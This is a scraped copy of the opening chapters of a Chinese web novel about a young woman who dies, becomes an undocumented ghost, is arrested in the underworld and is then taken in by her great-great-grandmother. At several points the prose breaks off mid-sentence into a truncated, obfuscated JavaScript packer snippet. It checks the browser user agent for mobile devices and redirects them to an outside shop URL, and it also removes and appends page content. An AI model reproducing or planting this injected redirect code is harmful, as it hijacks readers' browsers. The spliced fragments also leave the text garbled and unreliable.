《在地府考公上岸后》 1. 进局子是一种什么体验 铁门铁窗铁锁链,手扶着铁窗我望外边。 祝平安被拷在侯问室,面无表情地想起这首《铁窗泪》。 外面的生活是多么美好啊,何日重返我家园? 外面的生活……祝平安往铁门外看,得,外面的生活也一点不美好,吵吵嚷嚷,简直比地狱还地狱。 “大人,我是被冤枉的!他先动手的!”这是打架斗殴的,正鼻青脸肿地指着对方控诉。 “差爷,我刚刚遭了贼了,我曾孙子刚刚给我烧的钱都被人抢走了!”这是惨遭抢劫的,急的捶胸顿足。 “呜呜,同志,我真是不想跟他过了,嘴上说现在只爱我一个,一到了中元节还是偷偷去看他人间的老婆!这种负心汉你们就应该管管!抓他下十八层地狱!”这是闹夫妻矛盾的,正捂着脸哭个不休。 “前头的让一让让一让,我先给这几个喝醉滋事的找个地方关起来醒醒酒,要不然一会儿吐你们身上,糟践了新衣服!”还时不时有差役提着一长串人招摇过市,往醒酒室去。 当啷一声,铁门打开,一个差役提了个小鸡子般的男孩进侯问室,把他拷在祝平安隔壁:“老实等着,今天我们这儿忙,一会儿再来审你!” 男孩蔫头耷脑,显然吓坏了,看他模样,也就十七八岁,脸色惨白,瘦的像是豆芽菜。 祝平安虽然是泥菩萨过江自身难保,还是不免心软。左右等着也是无聊,她跟男孩搭上了话:“犯什么事情进来的?” “没干啥!真没干啥!”男孩很崩溃,“我就是二手出点周边,就被抓进来了!我冤枉啊青天大老爷!” 这么一说,他长嚎着冲向铁门,可惜刚走一步就被手铐拽倒在地,外面正在调解夫妻矛盾的差役警告地敲敲铁门:“你的事情一会儿会问清楚的,现在给我老实点,不许叫!” 男孩悻悻然起身,乖乖闭上嘴,转而跟祝平安聊天:“你呢,怎么进来的?” 是啊,我是怎么进来的?祝平安眼含热泪,无语问苍天。 她扫视侯问室,除了刚刚被拷进来的男孩,屋里要么是染着红毛绿毛的小太妹,要么是花臂纹身的大哥。 在活着的时候,祝平安死也想不到自己会有这一天。 为什么她一个27岁、身家清白、品行端正、年年拿三好学生、大学绩点4.0还保研到名校、目标是进编制、连考三年并最终在3000:1的竞争中上岸一线城市公务员、已经处于公示期的新时代一等青年俊彦,会沦落到局子里啊? 不要说杀人放火抢劫,她连个一毛钱的棒棒糖都没偷过啊! 想到这,她比男孩还悲愤,咣咣咣地用手铐砸铁栏杆:“我冤枉!放我出去!放我出去!” “嘿嘿!怎么回事儿你们,没完了是不是?”门外差役的调解再次被打断,大怒,“再敢嚷嚷,我们问都不问了,直接拖你们到拘留所去!” 这话当然是唬他们的,地府这两年号称风气改革,公共安全部也提出要注重文明办案、依法办案,怎么也不可能出现不审就拘的情况,但是祝平安不知道,还是闭上了嘴。 虽然她很想大吼一声“出去也是个饿死,你还是送我去吃牢饭吧”,但被拷在局子里还挑衅办案差役,实在不智。再说,差役明显把那个男孩看做她的朋友了,她也不想连累别人。 男孩看她反应这么大,吓得不敢再问了,留祝平安一个人在那里伤心。 侯问室一时间安静下来,显得公共安全部的各类嘈杂声音更加清晰。南腔北调的叫骂声、哭闹声、安慰声、脚步声,铁栅门开合时令人牙酸的吱呀声…… 除了声音吵,气味也不好闻。醉汉嘴里喷出来的酒味、焚烧后的纸灰味、以及地府那无所不在的硫磺气息,活泼的涌了出来,一切的一切,无不昭示着这里是阴间,死者的地盘,是与阳间截然不同的世界。 堆满了公文的长长的书案上放着个玲珑朱鼎,一股绿火从朱鼎内猛然涌起,火焰腾上半空,又迅速压缩凝成一卷公文,飘落回书案上。 书案旁,负责收发公文的崔书吏拿起检阅一下封面,扯着嗓子对后面的办公室大叫道:“急件!治安组的赵秘书出来签收一下!” “来了来了!”赵秘书匆匆从室内走了出来,“我看看,清源酒厂酒水造假致鬼生病?,要求立刻出个人去酒厂看看?这不是添乱嘛!” “我们正处理昌盛农场以次充好的案子呢,手头哪里还有人,再派,再派我也要上一线去了,这里连签收文件的人手都挤不出来了!” “要我说,干脆这些事情都不用查了,正愁魂多呢,凡是犯事的统统打进十八层地狱就好!” 崔书吏一撇嘴:“嗨,发这没用的牢骚干嘛?实话告诉你,咱们这一直就是严查严办,现在地狱都要塞不下啦!可就是这么严抓,也架不住犯事的连绵不绝呀!尤其今天过节,没有几起乱子才不正常呢。” 赵秘书大吐苦水:“别说是过节了,就是平常日子也忙不过来呀!” “阳间出生率低,人口负增长,搞得投胎名额锐减,地府游魂是一天比一天多,可是干活的人就没怎么涨过!” “我们治安组算上我,拢共就七十几个人,管羊城这么大一个片区,这合理吗?” “是呀是呀,缺人的也不光是咱们公共安全部,水务部、市监部、坊市营缮部、道路运输部、应急处理部……哪个不是闹人慌?”崔书吏也跟着帮腔。 他左右看看,见无人注意,压低了嗓子,神秘兮兮地说道:“我听上头说,马上咱们地府又要扩招一波了……” 赵秘书大喜:“这才对嘛,再不加派人手,我们这些办事的实在是顶不住了。上头这些领导真是……” 显然,赵秘书再说下去,肯定就不是什么好话了。这时,大门一响,一个高大男子牵着一长串儿醉鬼从门外走了进来。 崔书吏赶紧一推赵秘书,对方会意,连忙把话咽回去。崔书吏换上面对领导的专用笑脸:“哟!张部长回来了!” “是啊,你们辛苦了。”被称为张部长的男子笑笑,礼貌颔首。 他小麦肤色,牙齿雪白,身高有一米八还多,蜂腰猿背,长腿窄胯,短袖下露出的肌肉线条,像是豹子一样流畅优雅,带着动物般的野性力量。 然而最引人瞩目的,还是那一张俊朗面孔上的亲和力,微扬的唇角,弯弯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837470|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月牙眼睛,不笑都带着三分笑意。 崔书吏一看到这张脸,刚刚那些酸话都咽回去了,不得不说,人长得帅,真占便宜。 当然,这位张松鹤张部长其他方面也一向做的不错,工作能力强,待人亲切温和,尤其在亲下一线这方面,人家从不含糊。 今天中元节,是游魂们的盛大节日,大多游魂都会收到人间亲人的供奉,这也就导致矛盾纠纷特别多,不是喝酒闹事,就是打架斗殴。 张部长能在这种日子亲自去外面逮人,而不是把活都推给下属干,就算其他方面做的不好,崔书吏也说不出太难听的话了。 “这一串带去醒酒。”张松鹤把身后的醉汉们交到醒酒室,问道:“我刚刚抓回来的那一男一女呢?” “还在侯问室拷着呢。”崔书吏答道。 “提出来吧,我这会儿有空,正好审一审。” “您亲自审?”崔书吏震惊了,即使是亲近基层,这是不是也太基层了,要知道审讯都是小差役的活,怎么能让部长干呢? “首问责任制,我抓的人,当然我要负责到底。”张松鹤似乎不觉得这是掉身份的事情,转头喝了杯水润润喉,便吩咐道:“我在一号审讯室等,把我今天抓的那两个提出来!” “先提哪个?” “男的吧。”张松鹤选完了人,迈开长腿风一样进入了一号审讯室。 很快,侯问室的大门就被打开,一个差役站在门口问:“白子欣是哪个?” 豆芽菜男孩颤巍巍举起没被拷住的手,差役上来解开他手铐:“走,提审你了。” 白子欣试探地问:“审完了我就能走了?” “那要看你问题交代的清不清楚了。”差役一拽他手铐,“走!” “我真没做坏事!我冤枉!” “行了行了别喊冤了,你这样的我见多了。真冤枉的话,话说清楚就可以出去了,不会留案底的,你急个啥!” 差役将白子欣提走,侯问室更是死一样寂静,祝平安看出来了,其余的人明显是几进宫的老油条,没一个把进局子当回事,只有她跟白子欣这种第一次进来的良民才跟天塌了似的。 话说,白子欣都被提走了,也很快要提审她了吧?祝平安不禁抖了一下,心中的挫败感就别提了:要是一会儿回答的不对劲,她会不会留案底啊? 本来就是个黑户找不到工作,要是再留了案底,真的就没法活了!祝平安恨恨咬牙,在心里思考:要不要一会儿被提审的时候,伺机把审讯差役打几拳,袭击公务人员,吃上几年牢饭? 不过,她一想到刚刚抓自己的那个差役,就跟泄了气的皮球一样,把这个想法抛诸脑后。 她个子就不矮了,有一米七五,可抓她的差役个子快到一米九,健壮剽悍,胳膊比她腰还粗,一只手就能抓住她两手腕。 自己这小胳膊小腿,还几天没吃饭了,就是两个绑一块都不是人家的对手,打不过事小,对方要是正当防卫起来,一根手指头就能把她掰骨折,她可没钱看病。 既然这样,就要认真地想想口供了,祝平安不禁哀叹:天地良心,她真的不是诚心造成骚乱的! 2. 审讯室的差役 古人云,不问而取即为偷。 祝平安上了十几年学,这个道理还是知道的,但是也有好多事,是学校学不到的。 比如说,为什么人死了还会变游魂啊?而且都成为游魂了,为什么还是要穿衣、要睡觉、要喝水,一顿不吃饿得慌? 这科学吗?这不科学!要是这样的话,人活着跟死了到底有什么区别啊! 啊,还是有一点区别的,变成游魂之后,普通人类看不到她了,除非是那些有阴阳眼的,或者是和尚道士修仙者。 还有,死了之后也不会再变老了,会一直维持死去时候的相貌,即使过上千百年也不会变。 还有,游魂们虽然也能行男女之事,但没有生育能力,只有肉身结合才能诞育新生命。这倒是一件好事,意味着祝平安可以摆脱陪伴她十几年的痛经了。 除此之外,做人和做游魂的区别确实不大,做游魂依然能跟世界交互,拿得起水杯穿得了衣服,可能正因为如此,人死了才会被勾魂使者们立刻带往阴间,省的出现太多灵异事件。 既然能跟世界交互,那么吃多了就会撑,生病了就会痛,被刀戳了就会死。祝平安倾向于认为,游魂只是异样的生命形态,阴间只是一个有别于阳间的异空间,二者平日互不相干,但仍然紧密相连。 尤其是生活要吃饭,吃饭就要钱这一点,阴间阳间是一模一样。 祝平安就是因为没钱,才睡马路钻桥洞,过着有一顿没一顿的日子。今天是中元节,有人祭祀的游魂自然拿到好吃好喝。 而祝平安这没人祭祀的,只能尝试去拾取公共福利,也就是生人给那些孤魂野鬼们做的水陆大会。 在这之前,祝平安已经三天没吃东西了,那叫一个饿得两眼发花。跟其他孤魂野鬼不一样,祝平安是孤魂野鬼中的倒霉蛋,也不知道怎么回事,她在阴间居然是个黑户! 也不知道她下来的时候出什么问题了,她对自己的死亡过程非常模糊不清,只记得上一秒还在旅游团的大巴车上睡觉,下一秒就在阴间的一个海滩上醒过来了,连个死亡证明都没有,根本做不了身份登记。 可想而知,一个没身份的人到哪里都不受欢迎,更谈不上找工作了。祝平安下来三个多月了,愿意接受她的地方只有按摩店、洗头房、夜总会,可想而知,都不是什么正经工作。 怎么说也是良民出身,祝平安接受不了干这些工作。所以饥一顿饱一顿的混着,就希望能有转机找到个正经职业,哪怕是洗碗扫厕所也行。 但是这个转机始终没出现,加之近来祝平安运气不顺,没有好心的餐饮店老板施舍她剩饭,所以当参加水陆大会时,看到有那么多食物可以免费拿免费吃的时候,她一下就疯了。 后面的事情她不想回忆,简直是一场噩梦。参加水陆大会的人本来就多,她怕自己抢不到,更是发了一股子蛮劲,那叫一个左推右挡,东撞西搡,拼命往前挤。 也不知道几天没吃饭的身板哪来那么大力气,推搡中,有人被祝平安不慎撞个趔趄,带倒了供桌,现场瞬间就骚乱起来,险些酿成踩踏事故。 千钧一发之际,一个高个子差役从天而降,先是一声大喝斥退众人,接着又一手一个把倒地者拉起来,然后又整顿了秩序,监督大家必须排队领取福利,不准哄抢…… 最后,他拷走了祝平安,罪名是扰乱公共秩序。 冤啊! 从结果来看,也许人家没冤枉她,可祝平安就是觉得很冤枉,她一个好端端的人,难道是她愿意占这点便宜?不是没饭吃了,谁要来这里啊!她也是有自尊的! 罢罢罢,这么说了估计人家也不相信。祝平安一阵意冷心灰,自暴自弃地想:今夜之后,八成又要背个案底,找工作是没希望了,不如还是回去看看按摩店的工作吧。 她也不想的,都是世道逼得,不想下海也得下了。 正这没想着,忽然见白子欣喜笑颜开从铁门前路过,祝平安看他这么高兴,难道说是被放出去了? 她招手询问:“他们放你出去了?” 白子欣心情正好,闻言笑着点点头:“是啊,本来就没什么大事,说清楚就好。本来他们以为我是倒卖黄色书刊的,我给他们证明了,那真的只是游戏周边而已,尺度跟原作是一模一样的!” “审我的差役挺好说话的,看我年纪不大,就教育为主、批评为辅,只是让我保证以后这种东西只能自己收藏,不能拿出来卖二手,就把我放出来了。” 看不出是个二次元宅,同为二次元爱好者,祝平安对白子欣的好感立刻上升了:“什么周边,尺度那么大?你哪里搞来的?” “我妈烧给我的啊。”白子欣一扬眉毛,“我妈很疼我的,她知道我喜欢这些东西,我下来之后,她还坚持每个月给我烧一批新的游戏、漫画、周边什么的,我就是这么搞到的。” 祝平安闻言羡慕的要死。她生前父母已经离婚,早就各自组建家庭了,谁都不愿抚养当时已经十五岁的女儿。 好在当时祝平安生活也能自理了,父母轮流给了三年抚养费,勉勉强强把她养到十八岁,就几乎不再跟她来往,祝平安怀疑自己死了的事情,他们都不知道,或者知道了也不关心。 要是她也能摊上这么好的父母,还会沦落到今天吗?祝平安不禁思考起这个严肃的命题,当然,还没等她思考出个子午寅卯,就有差役过来开门了:“祝平安,轮到你了,跟我们出来吧。” 祝平安吞吞口水,老天保佑,既然这个差役对白子欣那么好说话,希望对她也能稍微温柔一点…… 一号审讯室,张松鹤写完一份讯问存档,看着差役带来一个女人铐在椅子上。 这女人是他刚刚在水陆大会抓的,当时人多混乱他也没细看,现在,在审讯室的冷光下,他才发现,这女子不说是破衣烂衫、蓬头垢面,也可以叫面黄肌瘦、灰头土脸,一头短发都打绺了,露出来手腕细的跟芦柴棒一样,袖口在胳膊上直打晃,只一双眼睛亮亮的,不过也可能是饿出来的绿光。 张松鹤一看就知道,估计又是个有难处的,心中不免带了三分怜悯。他把这女子拷回来,是为了杀一儆百,以免现场继续出现哄抢事故,倒没想真把她怎么样。 既这么着,他口气也温和了不少:“我是羊城公共安全部的差役张松鹤,现在依法对你进行询问。你的姓名?” “祝平安。” “亡龄?” “27岁。” “死因?” “这连我也闹不清楚。” “究竟怎么回事?” “唔,大概就是旅游的时候坐大巴车经过了跨海大桥,然后我就看见桥面突然断了,接着我感觉到自己飞起来撞上了车顶,又做了一会自由落体运动,然后再一睁眼,就已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝平安说的口沫飞溅激动不已,张松鹤适时递上一杯凉茶,祝平安接过去咕咚咚牛饮,这才稍微气平了一些。 “怪不得你那样瘦,下来以后都没吃什么东西吧?” 祝平安捧着茶水:“三天没吃过了,刚刚吃了几个贡品,其他的就没了。” “因为太饿才哄抢贡品?” “怎么能叫哄抢?这是公共福利,凭什么我就不能拿?” “拿是可以,但是不能抢啊!” “大哥呀,我拜托你!”祝平安用控诉的眼神看他,“那些东西才一点点而已,你没看到刚刚路边有多少游魂吗?不抢?不抢我哪里轮得到?” 她说着说着,又觉得自己也有点心虚:“后面造成骚乱我是没想到,不过,看其他人的样子也不缺那么一点吃的,但是我再吃不到东西就要饿死了……” “那你知道造成骚乱会有什么结果吗?” “什么结果?” 看着这女子张大的眼睛,张松鹤不知道怎么起了逗弄她的心思,月牙眼眯了起来:“骚乱踩踏,如造成人员伤亡,属于重大公共安全事故,肇事者要打入十八层地狱的。” 天空一道惊雷,祝平安被劈傻了。 啥?打入十八层地狱? 3. 为鬼民服务 十八层地狱?是她想的那个十八层地狱吗?会把人舌头拔出来的那种?或者上刀山下油锅,被刀劈被腰斩的那种? 凭什么啊!有没有王法了!有没有天理了!这是胡乱断案!这是滥用职权! 祝平安毛都炸起来了,这是什么世界啊!让不让人活了!非把人往死里逼是吧! “凭什么把我打入十八层地狱!”祝平安一仰脖子,豁出去了,反正无论如何也不会比下十八层地狱更惨了,干脆把想说的都说个痛快! “要我说,我生前是清清白白的良民,下来了也是规规矩矩的好鬼,是我不想遵纪守法吗?我要是诚心做坏事,早就去当流氓小偷了,还犯得上在这里抢贡品?” “我已经尽力在法规允许的范围里生活了,如果我还是侵犯了高贵的秩序,那不是因为我太坏了,而是因为法律给我留下的生存空间太少了!” 这话刚一出口,祝平安头顶的灯光突然应声熄灭,房间似乎突然滋长起来一股漆黑的潮水,那些嘈杂的声音、硫磺的气味似乎也一齐从世界上消失了。 整个房间只剩下她,一个弱小、饥饿、也许再过几个昼夜就会湮灭为聻的游魂,还有那个神情莫测的差吏。一盏微弱的灯光还停留在张松鹤脸颊旁边,让他的大半张脸都隐入黑暗,祝平安只能看见他肩胛上起伏的肌肉线条,和缩紧的可怕竖瞳。他用着一种古怪的口气,缓缓地追问道: “你是说,是法规有问题,而不是你有问题,是吗?” 危险,极度地危险,可怕地像是蟑螂腿拂过肌肤带起的战栗,祝平安全身发抖,喉咙像是被人一把掐住,让她说不出一个字。 “刚刚,你听到了我对那个白子欣的处理了是吧?也许我对他的慈悲,似乎让你对我有了一种——误解。” “你觉得,我是一个心软的滥好人,你可以肆意地对我大放厥词却不会被惩罚,只要你极力声明不是你的错而是世界的错,我就会睁一只眼闭一只眼,让你蒙混过关,是吗?” 张松鹤的脸缓缓像她伸过来,依然是笑着的,依然是那么一口白牙,亲切的笑容,“来,再说一次,是法规的错,不是你的错。” 不,不能说……生存本能剧烈的摇晃着祝平安,让她识时务地闭嘴。但是,与此同时,祝平安感到一种无法被恐惧压制的、暴烈的感情,在她的血脉里闷烧起来,越来越旺。 凭什么?凭什么世界上有这样不公平的事情? 因为她一时兴起,决定跑去旅游,最后意外身亡? 因为她倒霉死在了一个不是她家的地方,还决定本本分分做鬼,不偷不抢不骗,不从事三俗工作,所以才只能忍饥挨饿,甚至今天还要因为一句话而打下十八层地狱吗? 为什么不是法规的错呢? 诚然,这些法规诞生的本意不是为了难为她这样的倒霉蛋,那个登记员也只是照章办事,不愿惹麻烦上身而已…… 但是,她,还有她暂时还不认识的,有一样遭遇的成百上千的游魂,确确实实都因为这个法规,感到了不适。 他当然掌握了我的生死。她想着,如果还活着,我一定会闭嘴的。可是我已经死了,原来死也不过如此,痛是痛的,可——也就是如此而已。 她讽刺地一笑。 她从娘胎里,就带出来一副直脾气倔性子硬骨头,幼时因此挨了不少教训,父母都觉得她不讨喜。 后来她懂事了,人人都说“吃亏是福”,于是她也跟着学,把倔强收起,戴上老好人面具。 她开始习惯牺牲当下,换取将来。她学会收起脾气,融入群体。 于是,为了绩点,为了学位,为了和气,她得对势利眼的班主任逆来顺受,被无良导师压榨的死去活来,对使唤她的室友忍气吞声。 退一步海阔天空,幸福的未来等着她,况且也没有人给她撑腰,所以要忍耐忍耐再忍耐,即使这样做了之后,她并不快乐。但,这些付出是值得的。 然后,无尽的生命与幸福没有来,降临的是突如其来的死亡,她的一生猝不及防的收了个尾,丑小鸭还没变天鹅,灰姑娘也依然是灰姑娘,承诺的幸福没兑现,她的墓志铭上只好写:窝窝囊囊地活,憋憋屈屈地死。 现在看来,那是多么、多么地荒诞啊。 我一辈子从没有说过我真正想说的话,她想,那血脉中激荡的感情化成一口气,一口她生前从不敢吐出来的气,现在这口气从她的胸腔涌上来,逐渐冲开了那被卡住的喉咙。 所以,为、什、么、不、是、法、规、的、错、呢? 她的脑子里只剩下了这一句话,有一瞬间,所有的情绪都从祝平安心里消失了,她好像被割裂为两半,一半高高地漂浮在天花板上,俯视着这个只有一点幽光的房间,看着那个还坐在椅子上的自己也向前探头,几乎都快碰上那差吏的鼻尖—— 她听见自己面无表情地、清晰地、一字一句地说: “是的,不是我们的错,就是法规的错。” “作为一部普适性的法规,却从没考虑过异地死亡、无可投靠者的安置问题,制造了大量黑户,扰乱了地府秩序,这样的法规,难道没有错吗?” 这句话说完,她突然感到浑身一轻,她的灵魂再次合二为一,那黑色的潮水退却了,所有的灯火再次亮起,书吏的大嗓门、醉汉呕吐物的气味也都回来了。 她茫然地紧盯着眼前那张脸,青年男子轮廓优美的五官,狡黠晶亮的眼神,直到惊觉这个距离太近了,才猛然往后一仰,几乎是瘫在了椅子上。 “不错,不错,祝平安小姐,您真是有几分胆色,更难得的是,还有一些脑子。” 张松鹤又掏出了小本子,在上面写了些什么,一边写一边笑道:“感谢您指出了我们现行法规的弊病,您反馈的问题我都知道了,现在就让我为鬼民服务,把您的困难解决掉吧。” “当然啦,修改法规不归我管,但是嘛,我还是可以在权限范围内帮您一个小小的忙。” 张松鹤拉开门,大吼一声:“老崔,帮我调个档案!叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?可是我姥姥的姥姥都死了快100年了吧,她还没去投胎?” “嗨,这年头,投胎哪有那么容易呀,阳间出生率太低了,投胎都得排长队,普遍都得排个近百年才能投胎呢,而且也有孽债未完不愿投胎的、太有能力被地府留用的、就不知道她是哪种,你去了之后自己问她吧。” 老崔调整了一下手上的扳指,把它贴在纸上,纸上立刻多了一个古朴的图案,祝平安悄悄地瞄了一眼张松鹤的耳朵,这个图案似乎跟他的耳饰花纹一模一样。 “拿着,有了这个,就可以证明您跟陆婉珍的亲缘关系了。”老崔叮嘱道:“可别丢了,这种证明我们一般都是不会给开的,今天是张部长开口才有特例,遗失不补的。” “好啦好啦,别说的好像替我卖人情一样,我这是分内的事情,为鬼民服务嘛。”张松鹤对祝平安眨眨眼,“祝平安小姐,您可以走了,来来来,我送您出门。” 4. 传说中的曾外太婆 祝平安生前谨小慎微,规行矩步,上小学上中学上大学,先保研后考编,步步都是力求稳定、绝不出头。可是在死后,她那谨小慎微的生活戒律一破再破,终于在今天碎到了不可收拾的地步。 她手里攥着证明,跟在张松鹤的身后穿过大厅,还是恍恍惚惚,不敢相信今晚自己先是带头引发了大骚乱,然后又指着地府官员的鼻子咆哮一顿,最后居然什么事都没有,就这么放出来了? 就这么恍惚着走出了门,一抬头发现,张松鹤带着她来到后院,那里有一排雨棚,并一颗巨大的槐树,树干遮云蔽日,浓密的枝叶简直像是一重绿云。 绿云间栖息着无数金黄羽毛的鸟儿,那鸟儿双翼展开足有两米,身形如鹤,朱顶蓝喙,两道长长的雪白眉毛几可垂地,是人间见不到的奇妙生物。 “这就是送魂鸟,很漂亮吧?这是完全节能低碳的交通工具,一只鸟最多能承载十个游魂,百公里只消耗一碗练实,以后你也会经常接触。” 张松鹤轻轻吹了个口哨,一只尾巴较短的鸟儿便飞下来,在他身边挨挨蹭蹭。 张松鹤摸摸它的头,从树下棚子里掏出来一套鞍具披挂在鸟儿身上,那鞍具后面,居然有一个大大的笼子,祝平安看着这个笼子,囧囧地发现,这玩意儿似乎更加符合“囚车”这个概念。 张松鹤似乎丝毫不觉有问题,利落地一个翻身,便骑上鸟背,扯过那两道鸟儿的长眉毛当做缰绳挽在手里,轻轻一捏。 鸟儿得到信号,欢叫一声,展翅而飞,笼子从它尾巴垂下来,笼门打开,悬停在祝平安面前。 “上来吧,还愣着干嘛?” “张部长,我非得坐着这个招摇过市吗?”祝平安弱弱地请求,“我是说,就没有一些稍微不那么显眼的交通工具吗?” “有啊,你自己走着去。”头顶传来张松鹤的声音:“现在地府的财政是很紧张的,汽车什么的又耗费油气资源,又容易堵在路上,公共安全部只有这种笼车,要是真的不想坐,也随便你啦。” 自己走着去吗……在这样的现实面前,祝平安立刻就屈服了。她硬着头皮上了车,还自动自觉地把笼门给锁上,把自投罗网表现得淋漓尽致。 “坐好了吗?我要出发了!” 祝平安应了一声,赶紧把头埋在膝盖里,祈祷没人能看清她的脸,然而下一秒,随着送魂鸟振翅起飞,她就嗷地一声,在笼子里翻了个跟头,接着是又一个跟头,再一个跟头。 这什么交通工具,怎么没有安!全!带! 祝平安就好像被扔进了滚筒洗衣机,旋转、旋转、再旋转。还好祝平安眼疾手快,在短暂滞空时抓住了笼子的格栅,这才勉强稳住身形。 祝平安这会儿也顾不上挡着脸了,拼命把脑袋伸出笼子,顶着狂风大吼:“不要这样危险驾驶啊!” “抱歉,路况问题,先忍一下吧!” 头顶传来那可恶的驾驶员的回应,接着又是一个360度的大回旋,祝平安嗯的一声,差点被甩背过气去,满心只剩下一个拉紧笼子的念头,她没心思也看不清,她到底飞翔在一个什么样的城市里—— 多么瑰丽的景色啊,看了多少遍也还是那么美。张松鹤心里暗暗的赞叹,同时一拉送魂鸟的眉毛,闪过前方高大的树人枝丫,向上空飞去。 九泉倾泻,上有纸船无数,载着灵魂来到地府。街上人声鼎沸,羽扇纶巾的儒生、长袍马褂的旗人、学生头中山装的进步青年、长着大尾巴的蛇妖、乱窜的猫猫狗狗…… 街道两旁的建筑,更是五颜六色五花八门,明朝的土楼围屋上压着一栋三十层的玻璃大厦,清代的四合院顶上是一溜别墅洋楼。 空中更是鸟来鸟往,水泄不通。想要通过,必须翻转、急停、旱地拔葱、猛虎落地,施展种种高难度花式动作,方能够在这鸟来鸟往的拥堵中见缝插针,前往目的地。 张松鹤就这样娴熟地操纵着鸟儿,以一种不顾祝平安死活的速度,在楼宇缝隙里一路抄近道,七八分钟后,便在一栋洋派建筑门前停下。 “到地方了,准备下车吧!”张松鹤一偏腿,利落地从鸟背上翻下来,拉开了笼门。 笼子里,祝平安已经七荤八素地倒在笼车里,两眼都是蚊香圈,只是手还死死拉着栅栏。她似乎想说些什么,却一张嘴就是一阵干呕。 “晕车了是吧,以后就会慢慢习惯了。”张松鹤非常贴心地把祝平安从笼子里扶下来,安慰道:“以后你们也可以学着怎么驾送魂鸟,会驾车就不晕车了。” 祝平安心说这种经历一次就够了,下次就是放狗咬她都绝不会坐这种鸟了,她扶着张松鹤的手颤巍巍地站直,第一件事就是伸手去摸亲缘证明还在不在,她还真怕刚刚在车上甩丢了。 张松鹤看她已经定了神,便引着她向建筑里走去。 这是一栋西洋风格建筑,红砖墙,雕花铁门,绿茵茵的草坪上绽放着红玫瑰与白蔷薇,大理石喷泉汩汩喷涌,整栋房子就像一段优雅地旧时光。 张松鹤摁了摁老式的电铃,却无人应门,张松鹤坚持不懈地按,许久之后,终于有人不耐烦的回应了: “走开,我家什么都不需要!” 看来曾外太婆脾气不太好啊,也不知道她会不会接纳我……祝平安在脑海里想象出了一个严苛的老妇人形象,不禁有点局促。张松鹤笑容不变:“女士,您误会了,我不是推销员!曾外孙您要不要?” “曾外孙?” 哗啦一声,门终于被拉开了。祝平安只觉得眼前一亮,开门的居然是个身材修长的女子。 她剑眉昂扬,满脸英气,瞧着也就二十几岁,清爽的短发,礼服背心、紧身西裤、手指间夹着细烟卷。她夹着烟疑惑地打量着门前的张松鹤:“你是我曾外孙?” “不不不,我不是,这才是您曾外孙女。”张松鹤把祝平安拉过来,“惊不惊喜?开不开心?” 传说中的曾外太婆看着这从天上掉下来的曾外孙女,沉默了。 祝平安看看曾外太婆陆婉珍那青春挺拔的身姿,一句曾外太婆愣是叫不出口,两人就这么大眼瞪小眼,尴尬在那里。最终,祝平安只是掏出亲缘关系证明递上去,证明自己曾曾外孙的身份。 其实她不拿证明也没问题,两人从身高身形、到五官轮廓、再到发型气质,都是一个模子里刻出来的。若是祝平安洗干净脸再吃胖些,站在一起就像是亲姐妹一样,任谁都不能否认两人的血缘关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“麻烦”这两个字,算是拿住了陆婉珍的死穴,张松鹤趁热打铁,又经过一番扯皮之后,陆婉珍勉强同意收留祝平安,并把大宅最边缘的一间佣人房给祝平安使用,但是三个月内祝平安必须搬走。 既已说定,陆婉珍也算是干脆利落,这就要送客,她好带祝平安去看房子。祝平安送张松鹤出门,诚心诚意地鞠了个躬:“谢谢张部长,今天要不是您,我肯定还在四处流浪,您的恩德,我真不知道该怎么报答。” 张松鹤翻身上了鸟背,含笑低头看下来,这个女子的脊背跟她的曾外太婆倒是一脉相承,都是那么挺拔坚韧,不肯轻易弯一弯。 “客气的话就别说了,倒是以后你有什么打算?我说句实在话,羊城这里房租不便宜,三个月搬出去,还是有些难度。” 这件事祝平安还来不及想呢,便道:“走一步看一步吧,活人,啊不,死人总不能又死一次,现在鬼民证也有了,我只管努力做去,总能有点成绩吧。” 张松鹤看着祝平安,见她目光炯炯,即使经历了这样天翻地覆的一夜,眼中也没有一丝忐忑,反而充满对未来的信心,不由得心下暗叹,果然是个好苗子。 想到这里,他也不再迟疑,开口道:“我倒是知道一个工作机会,不知道,你愿不愿意来?” 5. 房间空的人心也很空 “这份工作是一份很好的工作。”张松鹤一脸高深莫测的笑容:“但是呢,对于从业人员的要求就会高一点了……” “首先,起码要具备阳间所谓的大学学力,其次,必须年轻健康身体好,最多不超过40岁;还有,起码要获得一名地府在职差役的推荐书。以及满足最后一个条件——你必须通过考试竞争上岗。只要顺利上岗,保证工资稳定、员工福利好、社会地位高。” “什么工作?”祝平安现在最关注的就是找工作的事情,立刻询问。 “地府的差役!” “差役?” 